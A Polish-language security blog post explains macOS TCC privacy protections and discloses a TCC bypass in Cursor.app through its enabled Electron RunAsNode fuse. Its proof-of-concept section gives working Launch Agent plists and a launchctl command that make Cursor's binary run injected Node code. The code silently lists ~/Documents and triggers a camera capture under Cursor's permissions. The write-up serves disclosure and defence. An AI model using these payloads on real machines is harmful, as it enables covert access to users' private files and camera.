Zagrożenie związane z obchodzeniem TCC w systemie macOS

Ostatnio zgłosiłem wiele podatności w aplikacjach firm trzecich, które umożliwiały obejście mechanizmu TCC. Ku mojemu zaskoczeniu, większość dostawców oprogramowania nie rozumie, dlaczego powinni się tym przejmować. Dla nich to jedynie irytujący i zbędny komunikat. Nawet specjaliści ds. bezpieczeństwa odpowiedzialni za analizę podatności często mają trudności ze zrozumieniem roli TCC w ochronie prywatności użytkowników macOS przed złośliwym oprogramowaniem.
Szczerze mówiąc, nie mam im tego za złe — sam dwa lata temu też nie rozumiałem sensu tych „irytujących” powiadomień. Dopiero gdy zacząłem pisać złośliwe oprogramowanie dla macOS, uświadomiłem sobie, jak dużą przeszkodą dla atakującego jest TCC, jeśli chodzi o realne wyrządzenie szkody ofierze. Napisałem ten artykuł z myślą o deweloperach aplikacji, aby po jego lekturze nie lekceważyli podatności pozwalających na obejście TCC. Jest on również przeznaczony dla badaczy bezpieczeństwa jako ilustracja wektora ataku, który może być punktem wyjścia do dalszych analiz.
Miłej lektury!
TCC, czyli ten irytujący komunikat
Nazywam go „frontowymi drzwiami prywatności platformy”, ponieważ to właśnie TCC kontroluje dostęp każdej aplikacji do prywatnych zasobów użytkownika. Zanim aplikacja uzyska dostęp do zasobów chronionych przez TCC w systemie macOS, użytkownik musi jej na to zezwolić — poprzez wyskakujące okno TCC lub ręcznie w ustawieniach prywatności. Jestem przekonany, że każdy użytkownik macOS choć raz zobaczył taki monit:

Nie będę szczegółowo omawiać komponentów TCC, ponieważ zrobiłem to już wcześniej w Snake&Apple IX — TCC, a znajomość tych detali nie jest konieczna do zrozumienia dalszej części tekstu.
Chronione zasoby prywatne TCC
Framework TCC zarządza dostępem do szerokiego zakresu wrażliwych zasobów, w tym:
- Plików znajdujących się w chronionych lokalizacjach, takich jak Pulpit, Dokumenty i Pobrane
- Danych osobowych, takich jak kontakty, kalendarze i przypomnienia
- Urządzeń sprzętowych, np. kamery i mikrofonu
- Dostępu do innych aplikacji w katalogu /Applications
- Danych zarządzanych przez inne aplikacje
- Funkcji nagrywania ekranu
- Danych o lokalizacji
- Danych zdrowotnych
Dostęp poszczególnych aplikacji do tych zasobów możemy sprawdzić w zakładce Prywatność i bezpieczeństwo w ustawieniach systemowych:

To podsumowuje ochronę TCC. Bez tego dostępu aplikacje (lub malware) nie mogą uzyskać tych zasobów, kropka.
Sandbox wchodzi do gry
Warto jednak zaznaczyć, że przed TCC stoi jeszcze jeden poziom ochrony — App Sandbox. Jeśli aplikacja działa z ustawieniem com.apple.security.app-sandbox = true
i nie korzysta z dodatkowych uprawnień (entitlements), to nawet obejście TCC nie oznacza pełnego zagrożenia — ale ryzyko wciąż istnieje. Jeśli jednak aplikacja posiada uprawnienia takie jak poniżej, zagrożenie rośnie znacząco:
com.apple.security.device.camera
com.apple.security.device.microphone
com.apple.security.personal-information.location
com.apple.security.personal-information.calendars
com.apple.security.personal-information.photos-library
com.apple.security.device.usb
com.apple.security.print
com.apple.security.device.bluetooth
com.apple.security.personal-information.addressbook
com.apple.security.personal-information.location
com.apple.security.files.user-selected.read-only
com.apple.security.files.user-selected.read-write
com.apple.security.files.downloads.read-only
com.apple.security.files.downloads.read-write
com.apple.security.assets.pictures.read-only
com.apple.security.assets.pictures.read-write
com.apple.security.assets.music.read-only
com.apple.security.assets.music.read-write
com.apple.security.assets.movies.read-only
com.apple.security.assets.movies.read-write
# and more...
Code language: CSS (css)
Jeśli malware wstrzyknie swój kod do aplikacji sandboxowanej, która nie posiada uprawnień do żądanych zasobów, warstwa TCC w ogóle nie zostanie wywołana, a więc okno z pytaniem o zgodę nigdy się nie pojawi.
Aplikacje poza sandboxem
W przypadku aplikacji działających poza sandboxem, okienko z prośbą o zgodę również się nie pojawi – nawet jeśli dana aplikacja nie ma przypisanego odpowiedniego uprawnienia. Co więcej, złośliwe oprogramowanie może nadal uzyskać dostęp do wielu zasobów chronionych przez TCC, takich jak:
- iCloud Drive
- Dyski sieciowe
- Desktop (
~/Desktop
) - Dokumenty (
~/Documents
) - Pobrane (
~/Downloads
) - Biblioteka iTunes (
~/Music
,~/Pictures
,~/Movies
) - Pliki zarządzane przez inne aplikacje (np. iCloud, Dropbox)
- Dane innych aplikacji w
~/Library/Application Support
,~/Library/Container
Wpływ wstrzyknięcia kodu do aplikacji niesandboxowanej jest mniejszy, jeśli aplikacja nie ma żadnych uprawnień, ponieważ malware może „odziedziczyć” tylko te zasoby. Mimo to, nadal stanowi to poważne zagrożenie i nie powinno być ignorowane.
TCC w modelu zagrożeń macOS
Znamy już sposób działania TCC, ale na którym etapie łańcucha ataku działa TCC? Aby to zobrazować,użyję macierzy MITRE ATT&CK i umieszczę TCC w szerszym kontekście:

Na systemach Windows czy Linux, po skutecznym zainfekowaniu systemu, malware zyskuje dostęp do wszystkiego w kontekście sesji użytkownika. Eskalacja uprawnień dotyczy tam zdobycia np. uprawnień SYSTEM (NT Authority) lub roota.
Na macOS jest znacznie trudniej. Nawet jeśli malware już uzyskało uprawnienia roota, dodatkowa warstwa w postaci TCC ogranicza wpływ ataku.
Z perspektywy malware
Żeby lepiej zrozumieć problem, wejdźmy w buty malware i przejdźmy przez scenariusz, w którym uzyskuje ono dostęp do systemu. Zakładam, że malware jest już w systemie — nieważne jak się tam dostało. Dla kontekstu: załóżmy, że użytkownik zainstalował złośliwą aplikację.
Jeśli interesują Cię szczegóły początkowego dostępu, zobacz kategorię MITRE Initial TA0001.
Proof of Concept
Symuluję malware (niesandboxowana aplikacja), działającą w kontekście sesji użytkownika — zwyczajnie uruchamiam polecenia w terminalu, po uprzednim usunięciu uprawnień TCC:
❯ tccutil reset All com.apple.Terminal && csrutil status && whoami && sw_vers
Successfully reset All approval status for com.apple.Terminal
System Integrity Protection status: enabled.
karmaz
ProductName: macOS
ProductVersion: 15.4.1
BuildVersion: 24E263
Code language: CSS (css)
Nawet jeśli malware jest uruchamiane bezpośrednio przez użytkownika, nie może ono uzyskać dostępu do katalogu Documents, ponieważ TCC go chroni:
❯ ls /Users/karmaz/Documents
lsd: /Users/karmaz/Documents: Operation not permitted (os error 1).
Code language: JavaScript (javascript)
Nawet uzyskanie uprawnień roota nie pomaga:
❯ sudo ls /Users/karmaz/Documents
ls: /Users/karmaz/Documents: Operation not permitted
Code language: JavaScript (javascript)
Jedyny sposób, by wylistować pliki z katalogu chronionego przez TCC na domyślnym macOS-ie, to użycie Findera (interfejsu graficznego), jak na poniższym zrzucie:

Ale malware nie ma dostępu do GUI. Nawet gdyby miało to i tak nie oznacza, że może odczytać lub modyfikować zawartość tych plików. Żeby to zrobić, malware musiałoby mieć przyznane uprawnienia do Automatyzacji (Automation) nad Finderem:

Zdobycie tych uprawnień nie jest łatwe. Żadna aplikacja na domyślnym macOS-ie ich nie posiada, i osobiście nie spotkałem się z aplikacją zewnętrzną (third-party), która by je miała. Nawet jeśli — malware musiałoby jakoś wstrzyknąć się do tej aplikacji, co wymagałoby znalezienia podatności.
Podsumowując: na czystej instalacji macOS, jeśli przeciwnik nie posiada exploita typu 0-day, to nie istnieje programowy sposób na obejście TCC. Malware nie ma dostępu do chronionych zasobów, nawet jeśli działa poza sandboxem.
Podatności umożliwiające obejście TCC
Z perspektywy przeciwnika pytanie brzmi: jak moje malware może uzyskać dostęp do zasobów chronionych przez TCC? Odpowiedź to: aplikacja, która posiada odpowiednie uprawnienia TCC i podatność umożliwiającą obejście zabezpieczenia. W praktyce — każda podatność pozwalająca na iniekcję kodu do takiej aplikacji stanowi zagrożenie, np.:
- Brak ochrony Hardening Runtime
- Wyłączona weryfikacja bibliotek (
com.apple.security.cs.disable-library-validation
) - Zezwolenie na uzyskanie praw do portu zadania (
com.apple.security.get-task-allow
) - Błędna konfiguracja fuse’a w aplikacjach Electron (polecam post Wojciecha Reguły na ten temat)
- …i inne
W trakcie moich badań odkryłem jeszcze kilka innych sposobów, ale na razie nie mogę ich ujawnić. I nie piszę tego, żeby się pochwalić — po prostu jeśli jesteś deweloperem albo architektem bezpieczeństwa i otrzymujesz zgłoszenie pokazujące obejście TCC — potraktuj to poważnie, niezależnie od tego, w jaki sposób i jaka konkretnie podatność została wykorzystana.
Gotujemy Cursor.app
Zdecydowałem się ujawnić podatność w aplikacji Cursor.app, ponieważ mimo przeprowadzenia odpowiedzialnego procesu zgłaszania, twórcy stwierdzili, że problem ten „wykracza poza ich model zagrożeń” i nie planują go naprawić. Biorąc pod uwagę rosnącą popularność Cursor.app wśród programistów korzystających z AI, użytkownicy mają prawo wiedzieć o tym ryzyku i samodzielnie zadecydować, czy i jak się zabezpieczyć. Problem polega na tym, że aplikacja ma włączony fuse RunAsNode. Gdy jest aktywny, aplikację można uruchomić jak zwykły proces Node.js. To z kolei pozwala malware na wstrzyknięcie złośliwego kodu i odziedziczenie uprawnień TCC aplikacji:
❯ npx @electron/fuses read --app "/Applications/Cursor.app/Contents/MacOS/Cursor"
Analyzing app: Cursor
Fuse Version: v1
RunAsNode is Enabled
EnableCookieEncryption is Disabled
EnableNodeOptionsEnvironmentVariable is Enabled
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is Disabled
OnlyLoadAppFromAsar is Disabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
GrantFileProtocolExtraPrivileges is Enabled
❯ sha256sum /Applications/Cursor.app/Contents/MacOS/Cursor
d7e921031559eae1bb5a12f519c940786edc10709e5b53e8b89fa51c987d1ffb /Applications/Cursor.app/Contents/MacOS/Cursor
Code language: CSS (css)
Istnieją dwa scenariusze wykorzystania tej podatności.
Scenariusz „Vanilla”
Ten scenariusz nie wymaga żadnej interakcji użytkownika. Może się zdarzyć, gdy ofiara otwiera nowy projekt w swoim katalogu domowym za pomocą Cursor.app — jak na przykład tutaj:

Zaraz potem system pyta użytkownika o dostęp do katalogu:

Po jego udzieleniu, malware może użyć Cursor.app jako proxy do cichego dostępu do katalogu Documents
, np. przez podłożenie konfiguracji Launch Agent w ~/Library/LaunchAgents/
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.crimson.electron</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Cursor.app/Contents/MacOS/Cursor</string>
<string>-e</string>
<string>
require('child_process').execSync('ls -la $HOME/Documents > /tmp/Documents.txt 2>&1');
</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Code language: HTML, XML (xml)
Potem wystarczy uruchomić launchctl:
launchctl load ~/Library/LaunchAgents/com.crimson.electron.plist
Code language: JavaScript (javascript)
To powoduje, że proces odziedziczy uprawnienia TCC aplikacji Cursor i może bez problemu uzyskać dostęp do ~/Documents
:

Terminal w tym przypadku służy jedynie do symulacji malware — to może być dowolny inny proces. Launch Agent to tylko jeden z przykładów — są też inne metody, które nie wymagają pisania do
~/Library/LaunchAgents/
.
Scenariusz „Spoofingowy”
Ten scenariusz wymaga interakcji użytkownika podczas wykorzystywania podatności przez malware. Dochodzi do niego wtedy, gdy aplikacja nie zdążyła jeszcze poprosić użytkownika o dostęp poprzez prompt TCC. Przykładowo: malware chce uzyskać dostęp do kamery. Jak widać, Cursor.app
posiada odpowiedni entitlement:

Użytkownik prawdopodobnie nie używał kamery podczas sesji programistycznej, więc nie zobaczył jeszcze promptu TCC. Normalnie malware nie mogłoby nawet poprosić o te uprawnienia. Ale dzięki podatności — może to zrobić, i to pod przykrywką Cursor.app:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.crimson.electron</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Cursor.app/Contents/MacOS/Cursor</string>
<string>-e</string>
<string>require('child_process').execSync('/opt/homebrew/bin/imagesnap /tmp/photo.jpg');</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Code language: HTML, XML (xml)
Efekt? Prompt TCC z malware’em podszywającym się pod Cursor.app
:


W tym scenariuszu użytkownik musi kliknąć „Zezwól”, ale bądźmy szczerzy — kiedy ostatnio kliknąłeś „Nie zezwalaj” na takim okienku? 😉
Poziom zagrożenia
To zależy od scenariusza i liczby uprawnień (entitlements), jakie posiada podatna aplikacja — ale bądźmy szczerzy: nie jest to błąd krytyczny ani nawet wysokiego ryzyka. Klasyfikuję go maksymalnie jako średni w przypadku aplikacji z dostępem do TCC lub niesandboxowanych, które pozwalają malware na „proszenie” o wiele rzeczy.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
To nie znaczy, że temat można zbagatelizować. Większość użytkowników wybiera macOS właśnie dlatego, że Apple dba o prywatność — i unika produktów, które tę ochronę osłabiają.
Na zakończenie
Skoro już mowa o bagatelizowaniu podatności — zgłosiłem ten sam problem wcześniej do Microsoftu, ponieważ Visual Studio Code również jest podatne. I również nie wykazali zainteresowania, bo „wymaga dostępu lokalnego”. Jeszcze nie widziałem podatności typu Local Privilege Escalation, która nie wymagałaby lokalnego dostępu. Pamiętam też czasy, gdy takie sprawy traktowano całkiem poważnie. Microsoft ponownie pokazał, jak NIE należy się zachowywać.

Szczerze? Mam wrażenie, że cofamy się w czasie. Po 20 latach budowania solidnych warstw ochrony w systemach operacyjnych, zaczynamy lekceważyć błędy, które te warstwy obchodzą. Coraz więcej producentów oprogramowania zasłania się jakimś papierkiem od Google’a, który umniejsza wagę ataków lokalnych — wszystko po to, by nie łatać błędów i pozostać „bez skazy”.
Nie idźmy tą drogą.